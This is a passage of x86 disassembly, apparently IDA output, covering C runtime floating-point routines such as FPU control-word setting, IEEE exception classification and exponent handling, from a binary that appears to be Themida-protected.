loc_420FA3: ; CODE XREF: sub_420F9D+1Dj push [esp+8+arg_4] inc dword ptr [esi] call sub_420F6C mov edi, eax push edi call sub_41D670 pop ecx test eax, eax pop ecx jnz short loc_420FA3 mov eax, edi pop edi pop esi retn sub_420F9D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __fastcall sub_420FC1(int,int,double,int) sub_420FC1 proc near ; CODE XREF: sub_41C679+51p ; sub_41C7BF+51p var_1C = qword ptr -1Ch var_14 = qword ptr -14h var_C = qword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = dword ptr 14h push ebp mov ebp, esp cmp dword_43CC70, 0 jnz short loc_420FF6 push [ebp+arg_C] ; int fld qword ptr [ebp+arg_4] push ecx push ecx ; double fstp [esp+0Ch+var_C] push ecx ; int push ecx ; int fldz fstp [esp+14h+var_14] fld qword ptr [ebp+arg_4] push ecx ; int push ecx ; int fstp [esp+1Ch+var_1C] push [ebp+arg_0] ; int push 1 ; int call sub_421576 add esp, 24h pop ebp retn ; --------------------------------------------------------------------------- loc_420FF6: ; CODE XREF: sub_420FC1+Aj push 0FFFFh mov dword_4DB278, 21h push [ebp+arg_C] call sub_4217E9 fld qword ptr [ebp+arg_4] pop ecx pop ecx pop ebp retn sub_420FC1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421014(int,int,double,double,int) sub_421014 proc near ; CODE XREF: sub_41C679:loc_41C73Cp ; sub_41C7BF:loc_41C882p var_74 = qword ptr -74h var_6C = qword ptr -6Ch var_64 = qword ptr -64h var_5C = dword ptr -5Ch var_58 = byte ptr -58h var_20 = dword ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = qword ptr 10h arg_10 = qword ptr 18h arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h push [ebp+arg_18] lea eax, [ebp+arg_10] push eax push [ebp+arg_0] call sub_42135F add esp, 0Ch test eax, eax jnz short loc_421052 lea eax, [ebp+arg_10] and [ebp+var_20], 0FFFFFFFEh push eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+arg_18] push [ebp+arg_4] push [ebp+arg_0] push eax lea eax, [ebp+var_58] push eax call sub_4210AC add esp, 18h loc_421052: ; CODE XREF: sub_421014+1Aj push [ebp+arg_0] call sub_421649 cmp dword_43CC70, 0 pop ecx jnz short loc_421090 test eax, eax jz short loc_421090 push [ebp+arg_18] ; int fld [ebp+arg_10] push ecx push ecx ; double fstp [esp+64h+var_64] push ecx ; int push ecx ; int fldz fstp [esp+6Ch+var_6C] fld [ebp+arg_8] push ecx ; int push ecx ; int fstp [esp+74h+var_74] push [ebp+arg_4] ; int push eax ; int call sub_421576 add esp, 24h leave retn ; --------------------------------------------------------------------------- loc_421090: ; CODE XREF: sub_421014+4Ej ; sub_421014+52j push eax call sub_4215FE mov [esp+5Ch+var_5C], 0FFFFh push [ebp+arg_18] call sub_4217E9 fld [ebp+arg_10] pop ecx pop ecx leave retn sub_421014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210AC proc near ; CODE XREF: sub_421014+36p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp mov ecx, [ebp+arg_0] xor eax, eax push ebx push esi mov [ecx+4], eax mov ecx, [ebp+arg_0] push edi push 1 mov [ecx+8], eax mov ecx, [ebp+arg_0] pop ebx mov [ecx+0Ch], eax mov cl, byte ptr [ebp+arg_8] test cl, 10h jz short loc_4210DE mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Fh or [eax+4], ebx loc_4210DE: ; CODE XREF: sub_4210AC+23j test cl, 2 jz short loc_4210F1 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000093h or dword ptr [eax+4], 2 loc_4210F1: ; CODE XREF: sub_4210AC+35j test cl, bl jz short loc_421103 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000091h or dword ptr [eax+4], 4 loc_421103: ; CODE XREF: sub_4210AC+47j test cl, 4 jz short loc_421116 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C000008Eh or dword ptr [eax+4], 8 loc_421116: ; CODE XREF: sub_4210AC+5Aj test cl, 8 jz short loc_421129 mov eax, [ebp+arg_0] mov [ebp+arg_8], 0C0000090h or dword ptr [eax+4], 10h loc_421129: ; CODE XREF: sub_4210AC+6Dj mov esi, [ebp+arg_4] mov eax, [ebp+arg_0] push 2 mov ecx, [esi] mov edx, [eax+8] not ecx and ecx, ebx and edx, 0FFFFFFEFh shl ecx, 4 or ecx, edx pop edi mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] and ecx, 4 shl ecx, 1 and edx, 0FFFFFFF7h or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 1 and ecx, 4 and edx, 0FFFFFFFBh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 3 and ecx, edi and edx, 0FFFFFFFDh or ecx, edx mov [eax+8], ecx mov ecx, [esi] mov eax, [ebp+arg_0] not ecx mov edx, [eax+8] shr ecx, 5 and ecx, ebx and edx, 0FFFFFFFEh or ecx, edx mov [eax+8], ecx call sub_4217CC test al, bl jz short loc_4211B2 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 10h loc_4211B2: ; CODE XREF: sub_4210AC+FDj test al, 4 jz short loc_4211BD mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 8 loc_4211BD: ; CODE XREF: sub_4210AC+108j test al, 8 jz short loc_4211C8 mov ecx, [ebp+arg_0] or dword ptr [ecx+0Ch], 4 loc_4211C8: ; CODE XREF: sub_4210AC+113j test al, 10h jz short loc_4211D2 mov ecx, [ebp+arg_0] or [ecx+0Ch], edi loc_4211D2: ; CODE XREF: sub_4210AC+11Ej test al, 20h jz short loc_4211DC mov eax, [ebp+arg_0] or [eax+0Ch], ebx loc_4211DC: ; CODE XREF: sub_4210AC+128j mov eax, [esi] mov ecx, 0C00h and eax, ecx jz short loc_42121B cmp eax, 400h jz short loc_42120D cmp eax, 800h jz short loc_421201 cmp eax, ecx jnz short loc_421221 mov eax, [ebp+arg_0] or dword ptr [eax], 3 jmp short loc_421221 ; --------------------------------------------------------------------------- loc_421201: ; CODE XREF: sub_4210AC+147j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFEh or ecx, edi jmp short loc_421217 ; --------------------------------------------------------------------------- loc_42120D: ; CODE XREF: sub_4210AC+140j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFFDh or ecx, ebx loc_421217: ; CODE XREF: sub_4210AC+15Fj mov [eax], ecx jmp short loc_421221 ; --------------------------------------------------------------------------- loc_42121B: ; CODE XREF: sub_4210AC+139j mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFFCh loc_421221: ; CODE XREF: sub_4210AC+14Bj ; sub_4210AC+153j ... mov eax, [esi] mov ecx, 300h and eax, ecx jz short loc_42124C cmp eax, 200h jz short loc_42123F cmp eax, ecx jnz short loc_421259 mov eax, [ebp+arg_0] and dword ptr [eax], 0FFFFFFE3h jmp short loc_421259 ; --------------------------------------------------------------------------- loc_42123F: ; CODE XREF: sub_4210AC+185j mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFE7h or ecx, 4 jmp short loc_421257 ; --------------------------------------------------------------------------- loc_42124C: ; CODE XREF: sub_4210AC+17Ej mov eax, [ebp+arg_0] mov ecx, [eax] and ecx, 0FFFFFFEBh or ecx, 8 loc_421257: ; CODE XREF: sub_4210AC+19Ej mov [eax], ecx loc_421259: ; CODE XREF: sub_4210AC+189j ; sub_4210AC+191j mov eax, [ebp+arg_0] mov ecx, [ebp+arg_C] and ecx, 0FFFh mov edx, [eax] shl ecx, 5 and edx, 0FFFE001Fh or ecx, edx mov [eax], ecx mov eax, [ebp+arg_0] or [eax+20h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+20h] and ecx, 0FFFFFFE3h or ecx, edi mov [eax+20h], ecx mov eax, [ebp+arg_10] fld qword ptr [eax] mov eax, [ebp+arg_0] fstp qword ptr [eax+10h] mov eax, [ebp+arg_0] or [eax+50h], ebx mov eax, [ebp+arg_0] mov ecx, [eax+50h] and ecx, 0FFFFFFE3h or ecx, edi mov edi, [ebp+arg_14] mov [eax+50h], ecx mov eax, [ebp+arg_0] fld qword ptr [edi] fstp qword ptr [eax+40h] call sub_4217DA lea eax, [ebp+arg_0] push eax push ebx push 0 push [ebp+arg_8] nop call near ptr 26403B3h mov eax, [ebp+arg_0] test byte ptr [eax+8], 10h jz short loc_4212D3 and dword ptr [esi], 0FFFFFFFEh loc_4212D3: ; CODE XREF: sub_4210AC+222j test byte ptr [eax+8], 8 jz short loc_4212DC and dword ptr [esi], 0FFFFFFFBh loc_4212DC: ; CODE XREF: sub_4210AC+22Bj test byte ptr [eax+8], 4 jz short loc_4212E5 and dword ptr [esi], 0FFFFFFF7h loc_4212E5: ; CODE XREF: sub_4210AC+234j test byte ptr [eax+8], 2 jz short loc_4212EE and dword ptr [esi], 0FFFFFFEFh loc_4212EE: ; CODE XREF: sub_4210AC+23Dj test [eax+8], bl jz short loc_4212F6 and dword ptr [esi], 0FFFFFFDFh loc_4212F6: ; CODE XREF: sub_4210AC+245j mov ecx, [eax] mov edx, 0FFFFF3FFh and ecx, 3 sub ecx, 0 jz short loc_42132A dec ecx jz short loc_42131E dec ecx jz short loc_421314 dec ecx jnz short loc_42132C or byte ptr [esi+1], 0Ch jmp short loc_42132C ; --------------------------------------------------------------------------- loc_421314: ; CODE XREF: sub_4210AC+25Dj mov ecx, [esi] and ch, 0FBh or ch, 8 jmp short loc_421326 ; --------------------------------------------------------------------------- loc_42131E: ; CODE XREF: sub_4210AC+25Aj mov ecx, [esi] and ch, 0F7h or ch, 4 loc_421326: ; CODE XREF: sub_4210AC+270j mov [esi], ecx jmp short loc_42132C ; --------------------------------------------------------------------------- loc_42132A: ; CODE XREF: sub_4210AC+257j and [esi], edx loc_42132C: ; CODE XREF: sub_4210AC+260j ; sub_4210AC+266j ... mov ecx, [eax] shr ecx, 2 and ecx, 7 sub ecx, 0 jz short loc_42134C dec ecx jz short loc_421343 dec ecx jnz short loc_421355 and [esi], edx jmp short loc_421355 ; --------------------------------------------------------------------------- loc_421343: ; CODE XREF: sub_4210AC+28Ej mov ecx, [esi] and ecx, edx or ch, 2 jmp short loc_421353 ; --------------------------------------------------------------------------- loc_42134C: ; CODE XREF: sub_4210AC+28Bj mov ecx, [esi] and ecx, edx or ch, 3 loc_421353: ; CODE XREF: sub_4210AC+29Ej mov [esi], ecx loc_421355: ; CODE XREF: sub_4210AC+291j ; sub_4210AC+295j fld qword ptr [eax+40h] fstp qword ptr [edi] pop edi pop esi pop ebx pop ebp retn sub_4210AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42135F proc near ; CODE XREF: sub_421014+10p var_24 = qword ptr -24h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push edi mov edi, eax and edi, 1Fh push 1 test al, 8 pop ebx jz short loc_42138A test byte ptr [ebp+arg_8], bl jz short loc_42138A push ebx call sub_42180C pop ecx and edi, 0FFFFFFF7h jmp loc_421554 ; --------------------------------------------------------------------------- loc_42138A: ; CODE XREF: sub_42135F+15j ; sub_42135F+1Aj test al, 4 jz short loc_4213A4 test byte ptr [ebp+arg_8], 4 jz short loc_4213A4 push 4 call sub_42180C pop ecx and edi, 0FFFFFFFBh jmp loc_421554 ; --------------------------------------------------------------------------- loc_4213A4: ; CODE XREF: sub_42135F+2Dj ; sub_42135F+33j test al, bl jz loc_42147E test byte ptr [ebp+arg_8], 8 jz loc_42147E push 8 call sub_42180C pop ecx mov eax, 0C00h mov ecx, [ebp+arg_8] and ecx, eax jz loc_421456 cmp ecx, 400h jz short loc_42142E cmp ecx, 800h jz short loc_421406 cmp ecx, eax jnz loc_421476 mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C870 fnstsw ax sahf ja short loc_4213FE fchs loc_4213FE: ; CODE XREF: sub_42135F+9Bj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421406: ; CODE XREF: sub_42135F+7Dj mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_42141E fld dbl_43C860 jmp short loc_421426 ; --------------------------------------------------------------------------- loc_42141E: ; CODE XREF: sub_42135F+B5j fld dbl_43C870 fchs loc_421426: ; CODE XREF: sub_42135F+BDj fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_42142E: ; CODE XREF: sub_42135F+75j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fnstsw ax sahf jbe short loc_421446 fld dbl_43C870 jmp short loc_42144E ; --------------------------------------------------------------------------- loc_421446: ; CODE XREF: sub_42135F+DDj fld dbl_43C860 fchs loc_42144E: ; CODE XREF: sub_42135F+E5j fstp [ebp+var_C] fld [ebp+var_C] jmp short loc_421474 ; --------------------------------------------------------------------------- loc_421456: ; CODE XREF: sub_42135F+69j mov ecx, [ebp+arg_4] fld qword ptr [ecx] fcomp dbl_427880 fld dbl_43C860 fnstsw ax sahf ja short loc_42146E fchs loc_42146E: ; CODE XREF: sub_42135F+10Bj fstp [ebp+var_C] fld [ebp+var_C] loc_421474: ; CODE XREF: sub_42135F+A5j ; sub_42135F+CDj ... fstp qword ptr [ecx] loc_421476: ; CODE XREF: sub_42135F+81j and edi, 0FFFFFFFEh jmp loc_421554 ; --------------------------------------------------------------------------- loc_42147E: ; CODE XREF: sub_42135F+47j ; sub_42135F+51j test al, 2 jz loc_421554 test byte ptr [ebp+arg_8], 10h jz loc_421554 push esi xor esi, esi test al, 10h jz short loc_421499 mov esi, ebx loc_421499: ; CODE XREF: sub_42135F+136j mov eax, [ebp+arg_4] fld qword ptr [eax] fstp [ebp+var_C] fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jz loc_421542 fld [ebp+var_C] lea eax, [ebp+var_4] push eax ; int push ecx push ecx ; double fstp [esp+24h+var_24] call sub_42170B mov eax, [ebp+var_4] add esp, 0Ch fstp [ebp+var_C] lea ecx, [eax-600h] cmp ecx, 0FFFFFBCEh jge short loc_4214E4 fldz mov esi, ebx fstp [ebp+var_C] jmp short loc_421538 ; --------------------------------------------------------------------------- loc_4214E4: ; CODE XREF: sub_42135F+17Aj fld [ebp+var_C] fcomp dbl_427880 fnstsw ax sahf jnb short loc_4214F6 mov edx, ebx jmp short loc_4214F8 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: sub_42135F+191j xor edx, edx loc_4214F8: ; CODE XREF: sub_42135F+195j mov al, byte ptr [ebp+var_C+6] and eax, 0Fh or al, 10h mov word ptr [ebp+var_C+6], ax mov eax, 0FFFFFC03h cmp ecx, eax jge short loc_42152C sub eax, ecx loc_42150F: ; CODE XREF: sub_42135F+1CBj test byte ptr [ebp+var_C], bl jz short loc_42151A test esi, esi jnz short loc_42151A mov esi, ebx loc_42151A: ; CODE XREF: sub_42135F+1B3j ; sub_42135F+1B7j shr dword ptr [ebp+var_C], 1 test byte ptr [ebp+var_C+4], bl jz short loc_421526 or byte ptr [ebp+var_C+3], 80h loc_421526: ; CODE XREF: sub_42135F+1C1j shr dword ptr [ebp+var_C+4], 1 dec eax jnz short loc_42150F loc_42152C: ; CODE XREF: sub_42135F+1ACj test edx, edx jz short loc_421538 fld [ebp+var_C] fchs fstp [ebp+var_C] loc_421538: ; CODE XREF: sub_42135F+183j ; sub_42135F+1CFj fld [ebp+var_C] mov eax, [ebp+arg_4] fstp qword ptr [eax] jmp short loc_421544 ; --------------------------------------------------------------------------- loc_421542: ; CODE XREF: sub_42135F+14Ej mov esi, ebx loc_421544: ; CODE XREF: sub_42135F+1E1j test esi, esi pop esi jz short loc_421551 push 10h call sub_42180C pop ecx loc_421551: ; CODE XREF: sub_42135F+1E8j and edi, 0FFFFFFFDh loc_421554: ; CODE XREF: sub_42135F+26j ; sub_42135F+40j ... test byte ptr [ebp+arg_0], 10h jz short loc_42156B test byte ptr [ebp+arg_8], 20h jz short loc_42156B push 20h call sub_42180C pop ecx and edi, 0FFFFFFEFh loc_42156B: ; CODE XREF: sub_42135F+1F9j ; sub_42135F+1FFj xor eax, eax test edi, edi pop edi pop ebx setz al leave retn sub_42135F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421576(int,int,int,int,int,int,double,int) sub_421576 proc near ; CODE XREF: sub_420FC1+2Bp ; sub_421014+72p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h push [ebp+arg_4] call sub_421624 test eax, eax pop ecx mov [ebp+var_1C], eax jz short loc_4215E1 mov eax, [ebp+arg_8] push esi mov [ebp+var_18], eax mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov eax, [ebp+arg_10] mov esi, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_14] push 0FFFFh push [ebp+arg_20] mov [ebp+var_C], eax mov eax, dword ptr [ebp+arg_18] mov [ebp+var_20], esi mov dword ptr [ebp+var_8], eax mov eax, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], eax call sub_4217E9 lea eax, [ebp+var_20] push eax call sub_42401D add esp, 0Ch test eax, eax jnz short loc_4215DB push esi call sub_4215FE pop ecx loc_4215DB: ; CODE XREF: sub_421576+5Cj fld [ebp+var_8] pop esi leave retn ; --------------------------------------------------------------------------- loc_4215E1: ; CODE XREF: sub_421576+14j push 0FFFFh push [ebp+arg_20] call sub_4217E9 push [ebp+arg_0] call sub_4215FE fld [ebp+arg_18] add esp, 0Ch leave retn sub_421576 endp ; =============== S U B R O U T I N E ======================================= sub_4215FE proc near ; CODE XREF: sub_421014+7Dp ; sub_421576+5Fp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, 1 jz short loc_421619 jle short locret_421623 cmp eax, 3 jg short locret_421623 mov dword_4DB278, 22h retn ; --------------------------------------------------------------------------- loc_421619: ; CODE XREF: sub_4215FE+7j mov dword_4DB278, 21h locret_421623: ; CODE XREF: sub_4215FE+9j ; sub_4215FE+Ej retn sub_4215FE endp ; =============== S U B R O U T I N E ======================================= sub_421624 proc near ; CODE XREF: sub_421576+9p arg_0 = dword ptr 4 xor ecx, ecx mov eax, offset dword_43C788 loc_42162B: ; CODE XREF: sub_421624+18j mov edx, [eax] cmp edx, [esp+arg_0] jz short loc_421641 add eax, 8 inc ecx cmp eax, offset dbl_43C860 jl short loc_42162B xor eax, eax retn ; --------------------------------------------------------------------------- loc_421641: ; CODE XREF: sub_421624+Dj mov eax, off_43C78C[ecx*8] retn sub_421624 endp ; =============== S U B R O U T I N E ======================================= sub_421649 proc near ; CODE XREF: sub_421014+41p arg_0 = byte ptr 4 mov al, [esp+arg_0] test al, 20h jz short loc_421655 push 5 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421655: ; CODE XREF: sub_421649+6j test al, 8 jz short loc_42165D push 1 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_42165D: ; CODE XREF: sub_421649+Ej test al, 4 jz short loc_421665 push 2 jmp short loc_42166B ; --------------------------------------------------------------------------- loc_421665: ; CODE XREF: sub_421649+16j test al, 1 jz short loc_42166D push 3 loc_42166B: ; CODE XREF: sub_421649+Aj ; sub_421649+12j ... pop eax retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: sub_421649+1Ej movzx eax, al and eax, 2 shl eax, 1 retn sub_421649 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421676(double) sub_421676 proc near ; CODE XREF: sub_41C679:loc_41C6FFp ; sub_41C7BF:loc_41C845p var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] frndint fstp [ebp+var_8] fld [ebp+var_8] leave retn sub_421676 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_421688(double,int) sub_421688 proc near ; CODE XREF: sub_42170B+82p ; sub_42170B+98p var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_8] mov ecx, [ebp+0Eh] fld [ebp+arg_0] add eax, 3FEh and cx, 800Fh fstp [ebp+var_8] shl eax, 4 or eax, ecx mov word ptr [ebp+var_8+6], ax fld [ebp+var_8] leave retn sub_421688 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4216B1 proc near ; CODE XREF: sub_41C679+31p ; sub_41C7BF+31p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor edx, edx cmp [ebp+arg_4], 7FF00000h jnz short loc_4216C8 cmp [ebp+arg_0], edx jnz short loc_4216DA push 1 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216C8: ; CODE XREF: sub_4216B1+Cj cmp [ebp+arg_4], 0FFF00000h jnz short loc_4216DA cmp [ebp+arg_0], edx jnz short loc_4216DA push 2 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216DA: ; CODE XREF: sub_4216B1+11j ; sub_4216B1+1Ej ... mov ecx, [ebp+arg_4+2] mov eax, 7FF8h and ecx, eax cmp cx, ax jnz short loc_4216ED push 3 jmp short loc_421704 ; --------------------------------------------------------------------------- loc_4216ED: ; CODE XREF: sub_4216B1+36j cmp cx, 7FF0h jnz short loc_421707 test [ebp+arg_4], 7FFFFh jnz short loc_421702 cmp [ebp+arg_0], edx jz short loc_421707 loc_421702: ; CODE XREF: sub_4216B1+4Aj push 4 loc_421704: ; CODE XREF: sub_4216B1+15j ; sub_4216B1+27j ... pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_421707: ; CODE XREF: sub_4216B1+41j ; sub_4216B1+4Fj xor eax, eax pop ebp retn sub_4216B1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_42170B(double,int) sub_42170B proc near ; CODE XREF: sub_42135F+160p var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx fld [ebp+arg_0] fcomp dbl_427880 push esi fnstsw ax sahf jnz short loc_42172B fldz xor esi, esi fstp [ebp+var_8] jmp loc_4217C1 ; --------------------------------------------------------------------------- loc_42172B: ; CODE XREF: sub_42170B+12j xor ecx, ecx test word ptr [ebp+arg_0+6], 7FF0h jnz short loc_42179A test dword ptr [ebp+arg_0+4], 0FFFFFh jnz short loc_421743 cmp dword ptr [ebp+arg_0], ecx jz short loc_42179A loc_421743: ; CODE XREF: sub_42170B+31j fld [ebp+arg_0] fcomp dbl_427880 mov esi, 0FFFFFC03h fnstsw ax sahf jnb short loc_42175B push 1 pop eax jmp short loc_42175D ; --------------------------------------------------------------------------- loc_42175B: ; CODE XREF: sub_42170B+49j xor eax, eax loc_42175D: ; CODE XREF: sub_42170B+4Ej ; sub_42170B+69j test byte ptr [ebp+arg_0+6], 10h jnz short loc_421776 shl dword ptr [ebp+arg_0+4], 1 test byte ptr [ebp+arg_0+3], 80h jz short loc_421770 or dword ptr [ebp+arg_0+4], 1 loc_421770: ; CODE XREF: sub_42170B+5Fj shl dword ptr [ebp+arg_0], 1 dec esi jmp short loc_42175D ; --------------------------------------------------------------------------- loc_421776: ; CODE XREF: sub_42170B+56j and word ptr [ebp+arg_0+6], 0FFEFh cmp eax, ecx jz short loc_421784 or byte ptr [ebp+arg_0+7], 80h loc_421784: ; CODE XREF: sub_42170B+73j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 fstp [ebp+var_8] add esp, 0Ch jmp short loc_4217C1 ; --------------------------------------------------------------------------- loc_42179A: ; CODE XREF: sub_42170B+28j ; sub_42170B+36j fld [ebp+arg_0] push ecx ; int push ecx push ecx ; double fstp [esp+18h+var_18] call sub_421688 mov eax, dword ptr [ebp+arg_0+6] add esp, 0Ch fstp [ebp+var_8] shr eax, 4 and ax, 7FFh movsx esi, ax sub esi, 3FEh loc_4217C1: ; CODE XREF: sub_42170B+1Bj ; sub_42170B+8Dj mov eax, [ebp+arg_8] fld [ebp+var_8] mov [eax], esi pop esi leave retn sub_42170B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217CC proc near ; CODE XREF: sub_4210AC+F6p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fstsw [ebp+var_2] movsx eax, [ebp+var_2] leave retn sub_4217CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217DA proc near ; CODE XREF: sub_4210AC+206p var_2 = word ptr -2 push ebp mov ebp, esp push ecx fnstsw [ebp+var_2] fnclex movsx eax, [ebp+var_2] leave retn sub_4217DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4217E9 proc near ; CODE XREF: sub_41C679+13p ; sub_41C679+5Dp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx fstcw word ptr [ebp+var_4] mov eax, [ebp+arg_4] mov ecx, eax and eax, [ebp+arg_0] not ecx and ecx, [ebp+var_4] or ecx, eax mov [ebp+arg_4], ecx fldcw word ptr [ebp+arg_4] movsx eax, word ptr [ebp+var_4] leave retn sub_4217E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42180C proc near ; CODE XREF: sub_42135F+1Dp ; sub_42135F+37p ... var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov cl, byte ptr [ebp+arg_0] test cl, 1 jz short loc_421823 fld tbyte_43C888 fistp [ebp+arg_0] wait loc_421823: ; CODE XREF: sub_42180C+Bj test cl, 8 jz short loc_421838 fstsw ax fld tbyte_43C888 fstp [ebp+var_8] wait fstsw ax loc_421838: ; CODE XREF: sub_42180C+1Aj test cl, 10h jz short loc_421847 fld tbyte_43C894 fstp [ebp+var_8] wait loc_421847: ; CODE XREF: sub_42180C+2Fj test cl, 4 jz short loc_421855 fldz fld1 fdivrp st(1), st fstp st wait loc_421855: ; CODE XREF: sub_42180C+3Ej test cl, 20h jz short locret_421860 fldpi fstp [ebp+var_8] wait locret_421860: ; CODE XREF: sub_42180C+4Cj leave retn sub_42180C endp ; =============== S U B R O U T I N E ======================================= sub_421862 proc near ; CODE XREF: sub_41C748+Fp push 30000h push 10000h call sub_424055 pop ecx pop ecx retn sub_421862 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421874 proc near ; CODE XREF: sub_4218B2:loc_4218D6j var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 18h fld dbl_427890 fstp [ebp+var_8] fld dbl_427888 fstp [ebp+var_10] fld [ebp+var_10] fdiv [ebp+var_8] fmul [ebp+var_8] fsubr [ebp+var_10] fstp [ebp+var_18] fld [ebp+var_18] fcomp dbl_427718 fnstsw ax sahf jbe short loc_4218AE push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4218AE: ; CODE XREF: sub_421874+33j xor eax, eax leave retn sub_421874 endp ; =============== S U B R O U T I N E ======================================= sub_4218B2 proc near ; CODE XREF: sub_41C748+5p push offset aKernel32 ; "KERNEL32" nop call near ptr 2660DE9h test eax, eax jz short loc_4218D6 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" push eax call near ptr 2690000h nop test eax, eax jz short loc_4218D6 push 0 call eax ; sub_41C748 retn ; --------------------------------------------------------------------------- loc_4218D6: ; CODE XREF: sub_4218B2+Dj ; sub_4218B2+1Dj jmp sub_421874 sub_4218B2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4218DB proc near ; CODE XREF: sub_41F69F+3CBp ; DATA XREF: sub_41C760+1Eo ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] movsx eax, byte ptr [esi] push eax call sub_41D74C loc_4218E9: ; DATA XREF: Themida_:0055F2A4o cmp eax, 65h pop ecx jz short loc_42191B loc_4218EF: ; CODE XREF: sub_4218DB+3Ej inc esi cmp dword_43C504, 1 jle short loc_421908 movsx eax, byte ptr [esi] push 4 push eax call sub_41F515 pop ecx pop ecx jmp short loc_421917 ; --------------------------------------------------------------------------- loc_421908: ; CODE XREF: sub_4218DB+1Cj movsx eax, byte ptr [esi] mov ecx, off_43C2F8 mov al, [ecx+eax*2] and eax, 4 loc_421917: ; CODE XREF: sub_4218DB+2Bj test eax, eax jnz short loc_4218EF loc_42191B: ; CODE XREF: sub_4218DB+12j mov cl, byte_43C508 mov al, [esi] mov [esi], cl inc esi loc_421926: ; CODE XREF: sub_4218DB+56j mov cl, [esi] mov [esi], al mov al, 